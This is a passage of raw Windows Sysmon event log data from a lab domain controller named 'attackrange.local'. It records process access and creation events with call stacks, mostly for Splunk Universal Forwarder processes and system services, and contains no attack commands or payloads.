29|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005816Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-29D2-5F80-4A01-000000007F01}4804C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005815Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.622{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-29D2-5F80-4A01-000000007F01}4804C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005814Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:54.623{A5F018FF-29D2-5F80-4A01-000000007F01}4804C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005841Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.513{A5F018FF-29D3-5F80-4B01-000000007F01}44203532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005840Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-29D3-5F80-4B01-000000007F01}4420C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005839Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005838Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005837Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005836Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005835Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005834Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005833Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005832Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005831Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005830Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-29D3-5F80-4B01-000000007F01}4420C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005829Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.372{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-29D3-5F80-4B01-000000007F01}4420C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005828Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:55.373{A5F018FF-29D3-5F80-4B01-000000007F01}4420C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005855Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.184{A5F018FF-29D4-5F80-4C01-000000007F01}46164456C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005854Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-29D4-5F80-4C01-000000007F01}4616C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005853Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005852Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005851Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005850Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005849Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005848Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005847Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005846Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:13:56.044{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM3